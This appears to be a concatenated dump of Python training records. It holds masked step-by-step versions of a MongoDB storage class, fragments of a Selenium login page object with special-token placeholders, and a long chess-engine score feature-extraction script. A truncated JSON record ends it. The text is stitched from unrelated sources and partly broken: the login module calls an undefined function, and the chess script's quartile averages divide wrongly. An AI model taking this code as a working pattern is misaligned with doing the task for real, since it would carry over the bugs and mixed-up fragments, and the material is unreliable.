{ "blob_id": "816c11717c4f26b9013f7a83e1dfb2c0578cbcf8", "index": 1269, "step-1": "<mask token>\n\n\nclass MongoStorage(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, connection):\n self._connection = connection\n self._collection = connection.objects\n self._roots = connection.roots\n root_doc = self._roots.find_one()\n if root_doc is None:\n self._root_id = self._roots.save({'list': []})\n else:\n self._root_id = root_doc['_id']\n\n def add_to_roots(self, container_id):\n self._roots.update({'_id': self._root_id}, {'$push': {'list':\n container_id}})\n\n def store_new_item(self, doc):\n \"\"\"Save the new document.\"\"\"\n self._collection.save(doc.document)\n\n def store_child(self, child_id, parent_id):\n self._collection.update({'_id': parent_id}, {'$push': {'contents':\n child_id}})\n <mask token>\n\n def load_one_item(self, item_id):\n return Record.from_document(self._collection.find_one(item_id))\n\n def load_many_items(self, item_ids):\n query = {'_id': {'$in': item_ids}}\n results = dict((d['_id'], Record.from_document(d)) for d in self.\n _collection.find(query))\n return (results[i] for i in item_ids)\n", "step-2": "<mask token>\n\n\nclass MongoStorage(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, connection):\n self._connection = connection\n self._collection = connection.objects\n self._roots = connection.roots\n root_doc = self._roots.find_one()\n if root_doc is None:\n self._root_id = self._roots.save({'list': []})\n else:\n self._root_id = root_doc['_id']\n\n def add_to_roots(self, container_id):\n self._roots.update({'_id': self._root_id}, {'$push': {'list':\n container_id}})\n\n def store_new_item(self, doc):\n \"\"\"Save the new document.\"\"\"\n self._collection.save(doc.document)\n\n def store_child(self, child_id, parent_id):\n self._collection.update({'_id': parent_id}, {'$push': {'contents':\n child_id}})\n\n def get_root_ids(self):\n return self._roots.find_one(self._root_id)['list']\n\n def load_one_item(self, item_id):\n return Record.from_document(self._collection.find_one(item_id))\n\n def load_many_items(self, item_ids):\n query = {'_id': {'$in': item_ids}}\n results = dict((d['_id'], Record.from_document(d)) for d in self.\n _collection.find(query))\n return (results[i] for i in item_ids)\n", "step-3": "<mask token>\n\n\nclass MongoStorage(object):\n _collection = None\n _connection = None\n _root_id = None\n _roots = None\n\n def __init__(self, connection):\n self._connection = connection\n self._collection = connection.objects\n self._roots = connection.roots\n root_doc = self._roots.find_one()\n if root_doc is None:\n self._root_id = self._roots.save({'list': []})\n else:\n self._root_id = root_doc['_id']\n\n def add_to_roots(self, container_id):\n self._roots.update({'_id': self._root_id}, {'$push': {'list':\n container_id}})\n\n def store_new_item(self, doc):\n \"\"\"Save the new document.\"\"\"\n self._collection.save(doc.document)\n\n def store_child(self, child_id, parent_id):\n self._collection.update({'_id': parent_id}, {'$push': {'contents':\n child_id}})\n\n def get_root_ids(self):\n return self._roots.find_one(self._root_id)['list']\n\n def load_one_item(self, item_id):\n return Record.from_document(self._collection.find_one(item_id))\n\n def load_many_items(self, item_ids):\n query = {'_id': {'$in': item_ids}}\n results = dict((d['_id'], Record.from_document(d)) for d in self.\n _collection.find(query))\n return (results[i] for i in item_ids)\n", "step-4": "from yama.record import Record\n\n\nclass MongoStorage(object):\n _collection = None\n _connection = None\n _root_id = None\n _roots = None\n\n def __init__(self, connection):\n self._connection = connection\n self._collection = connection.objects\n self._roots = connection.roots\n root_doc = self._roots.find_one()\n if root_doc is None:\n self._root_id = self._roots.save({'list': []})\n else:\n self._root_id = root_doc['_id']\n\n def add_to_roots(self, container_id):\n self._roots.update({'_id': self._root_id}, {'$push': {'list':\n container_id}})\n\n def store_new_item(self, doc):\n \"\"\"Save the new document.\"\"\"\n self._collection.save(doc.document)\n\n def store_child(self, child_id, parent_id):\n self._collection.update({'_id': parent_id}, {'$push': {'contents':\n child_id}})\n\n def get_root_ids(self):\n return self._roots.find_one(self._root_id)['list']\n\n def load_one_item(self, item_id):\n return Record.from_document(self._collection.find_one(item_id))\n\n def load_many_items(self, item_ids):\n query = {'_id': {'$in': item_ids}}\n results = dict((d['_id'], Record.from_document(d)) for d in self.\n _collection.find(query))\n return (results[i] for i in item_ids)\n", "step-5": null, "step-ids": [ 7, 8, 9, 10 ] }
[ 7, 8, 9, 10 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class IndexPage: def login(self, username, password): BasePage.open_url(self, self.base_url) BasePage.send_key(self, 'css', '#username', username) BasePage.send_key(self, 'css', '#password', password) BasePage.click_element(self, 'css', '.ant-btn') <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> sys.path.append('../') <|reserved_special_token_0|> class IndexPage: def login(self, username, password): BasePage.open_url(self, self.base_url) BasePage.send_key(self, 'css', '#username', username) BasePage.send_key(self, 'css', '#password', password) BasePage.click_element(self, 'css', '.ant-btn') if __name__ == '__main__': login_cookies(self) <|reserved_special_token_1|> from time import sleep import sys sys.path.append('../') from common.encapsulation import BasePage class IndexPage: def login(self, username, password): BasePage.open_url(self, self.base_url) BasePage.send_key(self, 'css', '#username', username) BasePage.send_key(self, 'css', '#password', password) BasePage.click_element(self, 'css', '.ant-btn') if __name__ == '__main__': login_cookies(self) <|reserved_special_token_1|> #!/usr/bin/env python # -*- coding: utf-8 -*- # @Author: Dang Kai # @Date: 2018-10-30 15:52:57 # @Last Modified time: 2018-11-10 09:09:21 # @E-mail: 1370465454@qq.com # @Description: from time import sleep import sys sys.path.append('../') from common.encapsulation import BasePage class IndexPage: def login(self, username, password): # 登录页面 BasePage.open_url(self,self.base_url) BasePage.send_key(self,'css','#username',username) BasePage.send_key(self,'css',"#password",password) BasePage.click_element(self,"css",".ant-btn") if __name__ == '__main__': login_cookies(self)
flexible
{ "blob_id": "463f50567c9dd4b7b47a84eea715541cec5d3cb5", "index": 2110, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass IndexPage:\n\n def login(self, username, password):\n BasePage.open_url(self, self.base_url)\n BasePage.send_key(self, 'css', '#username', username)\n BasePage.send_key(self, 'css', '#password', password)\n BasePage.click_element(self, 'css', '.ant-btn')\n\n\n<mask token>\n", "step-3": "<mask token>\nsys.path.append('../')\n<mask token>\n\n\nclass IndexPage:\n\n def login(self, username, password):\n BasePage.open_url(self, self.base_url)\n BasePage.send_key(self, 'css', '#username', username)\n BasePage.send_key(self, 'css', '#password', password)\n BasePage.click_element(self, 'css', '.ant-btn')\n\n\nif __name__ == '__main__':\n login_cookies(self)\n", "step-4": "from time import sleep\nimport sys\nsys.path.append('../')\nfrom common.encapsulation import BasePage\n\n\nclass IndexPage:\n\n def login(self, username, password):\n BasePage.open_url(self, self.base_url)\n BasePage.send_key(self, 'css', '#username', username)\n BasePage.send_key(self, 'css', '#password', password)\n BasePage.click_element(self, 'css', '.ant-btn')\n\n\nif __name__ == '__main__':\n login_cookies(self)\n", "step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author: Dang Kai\n# @Date: 2018-10-30 15:52:57\n# @Last Modified time: 2018-11-10 09:09:21\n# @E-mail: 1370465454@qq.com\n# @Description:\nfrom time import sleep\nimport sys\nsys.path.append('../')\nfrom common.encapsulation import BasePage\n\n\nclass IndexPage:\n\n def login(self, username, password):\n # 登录页面\n BasePage.open_url(self,self.base_url)\n BasePage.send_key(self,'css','#username',username)\n BasePage.send_key(self,'css',\"#password\",password)\n BasePage.click_element(self,\"css\",\".ant-btn\")\n\nif __name__ == '__main__':\n login_cookies(self)\n", "step-ids": [ 0, 2, 3, 4, 5 ] }
[ 0, 2, 3, 4, 5 ]
#Script to extract features from chess score data file stockfish.csv import numpy as np import pandas as pd #Load in and format raw chess game scoring data raw_scores = [line.strip().split(",")[1].split() for line in open("stockfish.csv")][1:] #Initialize containers for features to extract game_length = [] average_score = [] score_stdev = [] largest_gain = [] largest_drop = [] max_score = [] min_score = [] ending_score = [] white_avg_improve = [] black_avg_improve = [] white_median_improve = [] black_median_improve = [] white_q1_improve =[] white_q2_improve =[] white_q3_improve =[] white_q4_improve =[] black_q1_improve =[] black_q2_improve =[] black_q3_improve =[] black_q4_improve =[] game_score10 = [] game_score20 = [] game_score30 = [] game_score40 = [] game_score50 = [] game_score60 = [] game_score70 = [] game_score80 = [] game_score90 = [] game_score100 = [] white_q1_max =[] white_q2_max =[] white_q3_max =[] white_q4_max =[] black_q1_max =[] black_q2_max =[] black_q3_max =[] black_q4_max =[] white_q1_min =[] white_q2_min =[] white_q3_min =[] white_q4_min =[] black_q1_min =[] black_q2_min =[] black_q3_min =[] black_q4_min =[] white_q1_stdev =[] white_q2_stdev =[] white_q3_stdev =[] white_q4_stdev =[] black_q1_stdev =[] black_q2_stdev =[] black_q3_stdev =[] black_q4_stdev =[] white_5_improve = [] white_10_improve = [] white_15_improve = [] white_20_improve = [] white_25_improve = [] white_30_improve = [] white_35_improve = [] white_40_improve = [] white_45_improve = [] white_50_improve = [] white_55_improve = [] white_60_improve = [] white_65_improve = [] white_70_improve = [] white_75_improve = [] black_5_improve = [] black_10_improve = [] black_15_improve = [] black_20_improve = [] black_25_improve = [] black_30_improve = [] black_35_improve = [] black_40_improve = [] black_45_improve = [] black_50_improve = [] black_55_improve = [] black_60_improve = [] black_65_improve = [] black_70_improve = [] black_75_improve = [] #Loop through game data, calculate and append new features to feature containers for game in raw_scores: game_len = len(game)+1 # Add 1 to game length to avoid divide by zero errors caused by empty games total = 0 prev = None player = 1 max_so_far = -100 min_so_far = 100 max_drop = 0 max_gain = 0 white_improve = [0] black_improve = [0] game_nums = [0] for score in game: if score != "NA": score = int(score) game_nums.append(score) total+=score if prev != None: change = score - prev if change < max_drop: max_drop = change if change > max_gain: max_gain = change if player == 1: black_improve.append(change) else: white_improve.append(change) player = abs(player-1) prev = score if score > max_so_far: max_so_far = score if score < min_so_far: min_so_far = score #Add computed values to feature containers white_avg = sum(white_improve)/(game_len/2) black_avg = sum(black_improve)/(game_len/2) game_length.append(game_len) average_score.append(total/game_len) score_stdev.append(np.std(np.array(game_nums))) largest_gain.append(max_gain) largest_drop.append(max_drop) max_score.append(max_so_far) min_score.append(min_so_far) white_avg_improve.append(white_avg) black_avg_improve.append(black_avg) white_median_improve.append(sorted(white_improve)[len(white_improve)//2]) black_median_improve.append(sorted(black_improve)[len(black_improve)//2]) white_q1_improve.append( sum(white_improve[0:len(white_improve)//4])/len(white_improve)//4 ) white_q2_improve.append( sum(white_improve[len(white_improve)//4 : (len(white_improve)//4)*2])/len(white_improve)//4 ) white_q3_improve.append( sum(white_improve[(len(white_improve)//4)*2 : (len(white_improve)//4)*3])/len(white_improve)//4 ) white_q4_improve.append( sum(white_improve[(len(white_improve)//4)*3 : ])/len(white_improve)//4 ) black_q1_improve.append( sum(black_improve[0:len(black_improve)//4])/len(black_improve)//4 ) black_q2_improve.append( sum(black_improve[len(black_improve)//4 : (len(black_improve)//4)*2])/len(black_improve)//4 ) black_q3_improve.append( sum(black_improve[(len(black_improve)//4)*2 : (len(black_improve)//4)*3])/len(black_improve)//4 ) black_q4_improve.append( sum(black_improve[(len(black_improve)//4)*3 : ])/len(black_improve)//4 ) white_q1_max.append(max(white_improve[0:1+len(white_improve)//4])) white_q2_max.append(max(white_improve[len(white_improve)//4 : 1+(len(white_improve)//4)*2])) white_q3_max.append(max(white_improve[(len(white_improve)//4)*2 : 1+(len(white_improve)//4)*3])) white_q4_max.append(max(white_improve[(len(white_improve)//4)*3 : ])) black_q1_max.append(max(black_improve[0:1+len(black_improve)//4])) black_q2_max.append(max(black_improve[len(black_improve)//4 : 1+(len(black_improve)//4)*2])) black_q3_max.append(max(black_improve[(len(black_improve)//4)*2 : 1+(len(black_improve)//4)*3])) black_q4_max.append(max(black_improve[(len(black_improve)//4)*3 : ])) white_q1_min.append(min(white_improve[0:1+len(white_improve)//4])) white_q2_min.append(min(white_improve[len(white_improve)//4 : 1+(len(white_improve)//4)*2])) white_q3_min.append(min(white_improve[(len(white_improve)//4)*2 : 1+(len(white_improve)//4)*3])) white_q4_min.append(min(white_improve[(len(white_improve)//4)*3 : ])) black_q1_min.append(min(black_improve[0:1+len(black_improve)//4])) black_q2_min.append(min(black_improve[len(black_improve)//4 : 1+(len(black_improve)//4)*2])) black_q3_min.append(min(black_improve[(len(black_improve)//4)*2 : 1+(len(black_improve)//4)*3])) black_q4_min.append(min(black_improve[(len(black_improve)//4)*3 : ])) white_q1_stdev.append(np.std(np.array((white_improve[0:len(white_improve)//4])))) white_q2_stdev.append(np.std(np.array((white_improve[len(white_improve)//4 : (len(white_improve)//4)*2])))) white_q3_stdev.append(np.std(np.array((white_improve[(len(white_improve)//4)*2 : (len(white_improve)//4)*3])))) white_q4_stdev.append(np.std(np.array((white_improve[(len(white_improve)//4)*3 : ])))) black_q1_stdev.append(np.std(np.array((black_improve[0:len(black_improve)//4])))) black_q2_stdev.append(np.std(np.array((black_improve[len(black_improve)//4 : (len(black_improve)//4)*2])))) black_q3_stdev.append(np.std(np.array((black_improve[(len(black_improve)//4)*2 : (len(black_improve)//4)*3])))) black_q4_stdev.append(np.std(np.array((black_improve[(len(black_improve)//4)*3 : ])))) if len(white_improve) >=5: white_5_improve.append( sum(white_improve[0:5])/5 ) else: white_5_improve.append(white_avg) if len(white_improve) >=10: white_10_improve.append( sum(white_improve[5:10])/5 ) else: white_10_improve.append(white_avg) if len(white_improve) >=15: white_15_improve.append( sum(white_improve[10:15])/5 ) else: white_15_improve.append(white_avg) if len(white_improve) >=20: white_20_improve.append( sum(white_improve[15:20])/5 ) else: white_20_improve.append(white_avg) if len(white_improve) >=25: white_25_improve.append( sum(white_improve[20:25])/5 ) else: white_25_improve.append(white_avg) if len(white_improve) >=30: white_30_improve.append( sum(white_improve[25:30])/5 ) else: white_30_improve.append(white_avg) if len(white_improve) >=35: white_35_improve.append( sum(white_improve[30:35])/5 ) else: white_35_improve.append(white_avg) if len(white_improve) >=40: white_40_improve.append( sum(white_improve[35:40])/5 ) else: white_40_improve.append(white_avg) if len(white_improve) >=45: white_45_improve.append( sum(white_improve[40:45])/5 ) else: white_45_improve.append(white_avg) if len(white_improve) >=50: white_50_improve.append( sum(white_improve[45:50])/5 ) else: white_50_improve.append(white_avg) if len(white_improve) >=55: white_55_improve.append( sum(white_improve[50:55])/5 ) else: white_55_improve.append(white_avg) if len(white_improve) >=60: white_60_improve.append( sum(white_improve[55:60])/5 ) else: white_60_improve.append(white_avg) if len(white_improve) >=65: white_65_improve.append( sum(white_improve[60:65])/5 ) else: white_65_improve.append(white_avg) if len(white_improve) >=70: white_70_improve.append( sum(white_improve[65:70])/5 ) else: white_70_improve.append(white_avg) if len(white_improve) >=75: white_75_improve.append( sum(white_improve[70:75])/5 ) else: white_75_improve.append(white_avg) if len(black_improve) >=5: black_5_improve.append( sum(black_improve[0:5])/5 ) else: black_5_improve.append(black_avg) if len(black_improve) >=10: black_10_improve.append( sum(black_improve[5:10])/5 ) else: black_10_improve.append(black_avg) if len(black_improve) >=15: black_15_improve.append( sum(black_improve[10:15])/5 ) else: black_15_improve.append(black_avg) if len(black_improve) >=20: black_20_improve.append( sum(black_improve[15:20])/5 ) else: black_20_improve.append(black_avg) if len(black_improve) >=25: black_25_improve.append( sum(black_improve[20:25])/5 ) else: black_25_improve.append(black_avg) if len(black_improve) >=30: black_30_improve.append( sum(black_improve[25:30])/5 ) else: black_30_improve.append(black_avg) if len(black_improve) >=35: black_35_improve.append( sum(black_improve[30:35])/5 ) else: black_35_improve.append(black_avg) if len(black_improve) >=40: black_40_improve.append( sum(black_improve[35:40])/5 ) else: black_40_improve.append(black_avg) if len(black_improve) >=45: black_45_improve.append( sum(black_improve[40:45])/5 ) else: black_45_improve.append(black_avg) if len(black_improve) >=50: black_50_improve.append( sum(black_improve[45:50])/5 ) else: black_50_improve.append(black_avg) if len(black_improve) >=55: black_55_improve.append( sum(black_improve[50:55])/5 ) else: black_55_improve.append(black_avg) if len(black_improve) >=60: black_60_improve.append( sum(black_improve[55:60])/5 ) else: black_60_improve.append(black_avg) if len(black_improve) >=65: black_65_improve.append( sum(black_improve[60:65])/5 ) else: black_65_improve.append(black_avg) if len(black_improve) >=70: black_70_improve.append( sum(black_improve[65:70])/5 ) else: black_70_improve.append(black_avg) if len(black_improve) >=75: black_75_improve.append( sum(black_improve[70:75])/5 ) else: black_75_improve.append(black_avg) if len(game_nums)>10: game_score10.append(game_nums[10]) else: game_score10.append(0) if len(game_nums)>20: game_score20.append(game_nums[20]) else: game_score20.append(0) if len(game_nums)>30: game_score30.append(game_nums[30]) else: game_score30.append(0) if len(game_nums)>40: game_score40.append(game_nums[40]) else: game_score40.append(0) if len(game_nums)>50: game_score50.append(game_nums[50]) else: game_score50.append(0) if len(game_nums)>60: game_score60.append(game_nums[60]) else: game_score60.append(0) if len(game_nums)>70: game_score70.append(game_nums[70]) else: game_score70.append(0) if len(game_nums)>80: game_score80.append(game_nums[80]) else: game_score80.append(0) if len(game_nums)>90: game_score90.append(game_nums[90]) else: game_score90.append(0) if len(game_nums)>100: game_score100.append(game_nums[100]) else: game_score100.append(0) if prev: ending_score.append(prev) else: ending_score.append(0) chess_dict = {"game_length":game_length,"average_score":average_score,"score_stdev":score_stdev,"largest_gain":largest_gain, "largest_drop":largest_drop,"max_score":max_score,"min_score":min_score, "ending_score":ending_score, "white_avg_improve":white_avg_improve, "black_avg_improve":black_avg_improve,"white_median_improve":white_median_improve, "black_median_improve":black_median_improve,"white_q1_improve":white_q1_improve, "white_q2_improve":white_q2_improve, "white_q3_improve":white_q3_improve, "white_q4_improve":white_q4_improve,"black_q1_improve":black_q1_improve, "black_q2_improve":black_q2_improve, "black_q3_improve":black_q3_improve, "black_q4_improve":black_q4_improve, 'white_5_improve': white_5_improve, 'white_10_improve': white_10_improve, 'white_15_improve': white_15_improve, 'white_20_improve': white_20_improve, 'white_25_improve': white_25_improve, 'white_30_improve': white_30_improve, 'white_35_improve': white_35_improve, 'white_40_improve': white_40_improve, 'white_45_improve': white_45_improve, 'white_50_improve': white_50_improve, 'white_55_improve': white_55_improve, 'white_60_improve': white_60_improve, 'white_65_improve': white_65_improve, 'white_70_improve': white_70_improve, 'white_75_improve': white_75_improve, 'black_5_improve': black_5_improve, 'black_10_improve': black_10_improve, 'black_15_improve': black_15_improve, 'black_20_improve': black_20_improve, 'black_25_improve': black_25_improve, 'black_30_improve': black_30_improve, 'black_35_improve': black_35_improve, 'black_40_improve': black_40_improve, 'black_45_improve': black_45_improve, 'black_50_improve': black_50_improve, 'black_55_improve': black_55_improve, 'black_60_improve': black_60_improve, 'black_65_improve': black_65_improve, 'black_70_improve': black_70_improve, 'black_75_improve': black_75_improve, 'white_q1_max': white_q1_max, 'white_q2_max': white_q2_max, 'white_q3_max': white_q3_max, 'white_q4_max': white_q4_max, 'black_q1_max': black_q1_max, 'black_q2_max': black_q2_max, 'black_q3_max': black_q3_max, 'black_q4_max': black_q4_max, 'white_q1_min': white_q1_min, 'white_q2_min': white_q2_min, 'white_q3_min': white_q3_min, 'white_q4_min': white_q4_min, 'black_q1_min': black_q1_min, 'black_q2_min': black_q2_min, 'black_q3_min': black_q3_min, 'black_q4_min': black_q4_min, 'white_q1_stdev': white_q1_stdev, 'white_q2_stdev': white_q2_stdev, 'white_q3_stdev': white_q3_stdev, 'white_q4_stdev': white_q4_stdev, 'black_q1_stdev': black_q1_stdev, 'black_q2_stdev': black_q2_stdev, 'black_q3_stdev': black_q3_stdev, 'black_q4_stdev': black_q4_stdev, 'game_score10':game_score10, 'game_score20':game_score20, 'game_score30':game_score30, 'game_score40':game_score40, 'game_score50':game_score50, 'game_score60':game_score60, 'game_score70':game_score70, 'game_score80':game_score80, 'game_score90':game_score90, 'game_score100':game_score100 } #Create feature data frame chess_df = pd.DataFrame(chess_dict, index=[x for x in range(1,50001)]) chess_df.index.name = "Event" #Write the new feature data frame to CSV chess_df.to_csv("score_features.csv")
normal
{ "blob_id": "ad9bb34fdb05ab885f4871693729449f3618603a", "index": 8321, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor game in raw_scores:\n game_len = len(game) + 1\n total = 0\n prev = None\n player = 1\n max_so_far = -100\n min_so_far = 100\n max_drop = 0\n max_gain = 0\n white_improve = [0]\n black_improve = [0]\n game_nums = [0]\n for score in game:\n if score != 'NA':\n score = int(score)\n game_nums.append(score)\n total += score\n if prev != None:\n change = score - prev\n if change < max_drop:\n max_drop = change\n if change > max_gain:\n max_gain = change\n if player == 1:\n black_improve.append(change)\n else:\n white_improve.append(change)\n player = abs(player - 1)\n prev = score\n if score > max_so_far:\n max_so_far = score\n if score < min_so_far:\n min_so_far = score\n white_avg = sum(white_improve) / (game_len / 2)\n black_avg = sum(black_improve) / (game_len / 2)\n game_length.append(game_len)\n average_score.append(total / game_len)\n score_stdev.append(np.std(np.array(game_nums)))\n largest_gain.append(max_gain)\n largest_drop.append(max_drop)\n max_score.append(max_so_far)\n min_score.append(min_so_far)\n white_avg_improve.append(white_avg)\n black_avg_improve.append(black_avg)\n white_median_improve.append(sorted(white_improve)[len(white_improve) // 2])\n black_median_improve.append(sorted(black_improve)[len(black_improve) // 2])\n white_q1_improve.append(sum(white_improve[0:len(white_improve) // 4]) /\n len(white_improve) // 4)\n white_q2_improve.append(sum(white_improve[len(white_improve) // 4:len(\n white_improve) // 4 * 2]) / len(white_improve) // 4)\n white_q3_improve.append(sum(white_improve[len(white_improve) // 4 * 2:\n len(white_improve) // 4 * 3]) / len(white_improve) // 4)\n white_q4_improve.append(sum(white_improve[len(white_improve) // 4 * 3:]\n ) / len(white_improve) // 4)\n black_q1_improve.append(sum(black_improve[0:len(black_improve) // 4]) /\n len(black_improve) // 4)\n black_q2_improve.append(sum(black_improve[len(black_improve) // 4:len(\n black_improve) // 4 * 2]) / len(black_improve) // 4)\n black_q3_improve.append(sum(black_improve[len(black_improve) // 4 * 2:\n len(black_improve) // 4 * 3]) / len(black_improve) // 4)\n black_q4_improve.append(sum(black_improve[len(black_improve) // 4 * 3:]\n ) / len(black_improve) // 4)\n white_q1_max.append(max(white_improve[0:1 + len(white_improve) // 4]))\n white_q2_max.append(max(white_improve[len(white_improve) // 4:1 + len(\n white_improve) // 4 * 2]))\n white_q3_max.append(max(white_improve[len(white_improve) // 4 * 2:1 + \n len(white_improve) // 4 * 3]))\n white_q4_max.append(max(white_improve[len(white_improve) // 4 * 3:]))\n black_q1_max.append(max(black_improve[0:1 + len(black_improve) // 4]))\n black_q2_max.append(max(black_improve[len(black_improve) // 4:1 + len(\n black_improve) // 4 * 2]))\n black_q3_max.append(max(black_improve[len(black_improve) // 4 * 2:1 + \n len(black_improve) // 4 * 3]))\n black_q4_max.append(max(black_improve[len(black_improve) // 4 * 3:]))\n white_q1_min.append(min(white_improve[0:1 + len(white_improve) // 4]))\n white_q2_min.append(min(white_improve[len(white_improve) // 4:1 + len(\n white_improve) // 4 * 2]))\n white_q3_min.append(min(white_improve[len(white_improve) // 4 * 2:1 + \n len(white_improve) // 4 * 3]))\n white_q4_min.append(min(white_improve[len(white_improve) // 4 * 3:]))\n black_q1_min.append(min(black_improve[0:1 + len(black_improve) // 4]))\n black_q2_min.append(min(black_improve[len(black_improve) // 4:1 + len(\n black_improve) // 4 * 2]))\n black_q3_min.append(min(black_improve[len(black_improve) // 4 * 2:1 + \n len(black_improve) // 4 * 3]))\n black_q4_min.append(min(black_improve[len(black_improve) // 4 * 3:]))\n white_q1_stdev.append(np.std(np.array(white_improve[0:len(white_improve\n ) // 4])))\n white_q2_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4:len(white_improve) // 4 * 2])))\n white_q3_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4 * 2:len(white_improve) // 4 * 3])))\n white_q4_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4 * 3:])))\n black_q1_stdev.append(np.std(np.array(black_improve[0:len(black_improve\n ) // 4])))\n black_q2_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4:len(black_improve) // 4 * 2])))\n black_q3_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4 * 2:len(black_improve) // 4 * 3])))\n black_q4_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4 * 3:])))\n if len(white_improve) >= 5:\n white_5_improve.append(sum(white_improve[0:5]) / 5)\n else:\n white_5_improve.append(white_avg)\n if len(white_improve) >= 10:\n white_10_improve.append(sum(white_improve[5:10]) / 5)\n else:\n white_10_improve.append(white_avg)\n if len(white_improve) >= 15:\n white_15_improve.append(sum(white_improve[10:15]) / 5)\n else:\n white_15_improve.append(white_avg)\n if len(white_improve) >= 20:\n white_20_improve.append(sum(white_improve[15:20]) / 5)\n else:\n white_20_improve.append(white_avg)\n if len(white_improve) >= 25:\n white_25_improve.append(sum(white_improve[20:25]) / 5)\n else:\n white_25_improve.append(white_avg)\n if len(white_improve) >= 30:\n white_30_improve.append(sum(white_improve[25:30]) / 5)\n else:\n white_30_improve.append(white_avg)\n if len(white_improve) >= 35:\n white_35_improve.append(sum(white_improve[30:35]) / 5)\n else:\n white_35_improve.append(white_avg)\n if len(white_improve) >= 40:\n white_40_improve.append(sum(white_improve[35:40]) / 5)\n else:\n white_40_improve.append(white_avg)\n if len(white_improve) >= 45:\n white_45_improve.append(sum(white_improve[40:45]) / 5)\n else:\n white_45_improve.append(white_avg)\n if len(white_improve) >= 50:\n white_50_improve.append(sum(white_improve[45:50]) / 5)\n else:\n white_50_improve.append(white_avg)\n if len(white_improve) >= 55:\n white_55_improve.append(sum(white_improve[50:55]) / 5)\n else:\n white_55_improve.append(white_avg)\n if len(white_improve) >= 60:\n white_60_improve.append(sum(white_improve[55:60]) / 5)\n else:\n white_60_improve.append(white_avg)\n if len(white_improve) >= 65:\n white_65_improve.append(sum(white_improve[60:65]) / 5)\n else:\n white_65_improve.append(white_avg)\n if len(white_improve) >= 70:\n white_70_improve.append(sum(white_improve[65:70]) / 5)\n else:\n white_70_improve.append(white_avg)\n if len(white_improve) >= 75:\n white_75_improve.append(sum(white_improve[70:75]) / 5)\n else:\n white_75_improve.append(white_avg)\n if len(black_improve) >= 5:\n black_5_improve.append(sum(black_improve[0:5]) / 5)\n else:\n black_5_improve.append(black_avg)\n if len(black_improve) >= 10:\n black_10_improve.append(sum(black_improve[5:10]) / 5)\n else:\n black_10_improve.append(black_avg)\n if len(black_improve) >= 15:\n black_15_improve.append(sum(black_improve[10:15]) / 5)\n else:\n black_15_improve.append(black_avg)\n if len(black_improve) >= 20:\n black_20_improve.append(sum(black_improve[15:20]) / 5)\n else:\n black_20_improve.append(black_avg)\n if len(black_improve) >= 25:\n black_25_improve.append(sum(black_improve[20:25]) / 5)\n else:\n black_25_improve.append(black_avg)\n if len(black_improve) >= 30:\n black_30_improve.append(sum(black_improve[25:30]) / 5)\n else:\n black_30_improve.append(black_avg)\n if len(black_improve) >= 35:\n black_35_improve.append(sum(black_improve[30:35]) / 5)\n else:\n black_35_improve.append(black_avg)\n if len(black_improve) >= 40:\n black_40_improve.append(sum(black_improve[35:40]) / 5)\n else:\n black_40_improve.append(black_avg)\n if len(black_improve) >= 45:\n black_45_improve.append(sum(black_improve[40:45]) / 5)\n else:\n black_45_improve.append(black_avg)\n if len(black_improve) >= 50:\n black_50_improve.append(sum(black_improve[45:50]) / 5)\n else:\n black_50_improve.append(black_avg)\n if len(black_improve) >= 55:\n black_55_improve.append(sum(black_improve[50:55]) / 5)\n else:\n black_55_improve.append(black_avg)\n if len(black_improve) >= 60:\n black_60_improve.append(sum(black_improve[55:60]) / 5)\n else:\n black_60_improve.append(black_avg)\n if len(black_improve) >= 65:\n black_65_improve.append(sum(black_improve[60:65]) / 5)\n else:\n black_65_improve.append(black_avg)\n if len(black_improve) >= 70:\n black_70_improve.append(sum(black_improve[65:70]) / 5)\n else:\n black_70_improve.append(black_avg)\n if len(black_improve) >= 75:\n black_75_improve.append(sum(black_improve[70:75]) / 5)\n else:\n black_75_improve.append(black_avg)\n if len(game_nums) > 10:\n game_score10.append(game_nums[10])\n else:\n game_score10.append(0)\n if len(game_nums) > 20:\n game_score20.append(game_nums[20])\n else:\n game_score20.append(0)\n if len(game_nums) > 30:\n game_score30.append(game_nums[30])\n else:\n game_score30.append(0)\n if len(game_nums) > 40:\n game_score40.append(game_nums[40])\n else:\n game_score40.append(0)\n if len(game_nums) > 50:\n game_score50.append(game_nums[50])\n else:\n game_score50.append(0)\n if len(game_nums) > 60:\n game_score60.append(game_nums[60])\n else:\n game_score60.append(0)\n if len(game_nums) > 70:\n game_score70.append(game_nums[70])\n else:\n game_score70.append(0)\n if len(game_nums) > 80:\n game_score80.append(game_nums[80])\n else:\n game_score80.append(0)\n if len(game_nums) > 90:\n game_score90.append(game_nums[90])\n else:\n game_score90.append(0)\n if len(game_nums) > 100:\n game_score100.append(game_nums[100])\n else:\n game_score100.append(0)\n if prev:\n ending_score.append(prev)\n else:\n ending_score.append(0)\n<mask token>\nchess_df.to_csv('score_features.csv')\n", "step-3": "<mask token>\nraw_scores = [line.strip().split(',')[1].split() for line in open(\n 'stockfish.csv')][1:]\ngame_length = []\naverage_score = []\nscore_stdev = []\nlargest_gain = []\nlargest_drop = []\nmax_score = []\nmin_score = []\nending_score = []\nwhite_avg_improve = []\nblack_avg_improve = []\nwhite_median_improve = []\nblack_median_improve = []\nwhite_q1_improve = []\nwhite_q2_improve = []\nwhite_q3_improve = []\nwhite_q4_improve = []\nblack_q1_improve = []\nblack_q2_improve = []\nblack_q3_improve = []\nblack_q4_improve = []\ngame_score10 = []\ngame_score20 = []\ngame_score30 = []\ngame_score40 = []\ngame_score50 = []\ngame_score60 = []\ngame_score70 = []\ngame_score80 = []\ngame_score90 = []\ngame_score100 = []\nwhite_q1_max = []\nwhite_q2_max = []\nwhite_q3_max = []\nwhite_q4_max = []\nblack_q1_max = []\nblack_q2_max = []\nblack_q3_max = []\nblack_q4_max = []\nwhite_q1_min = 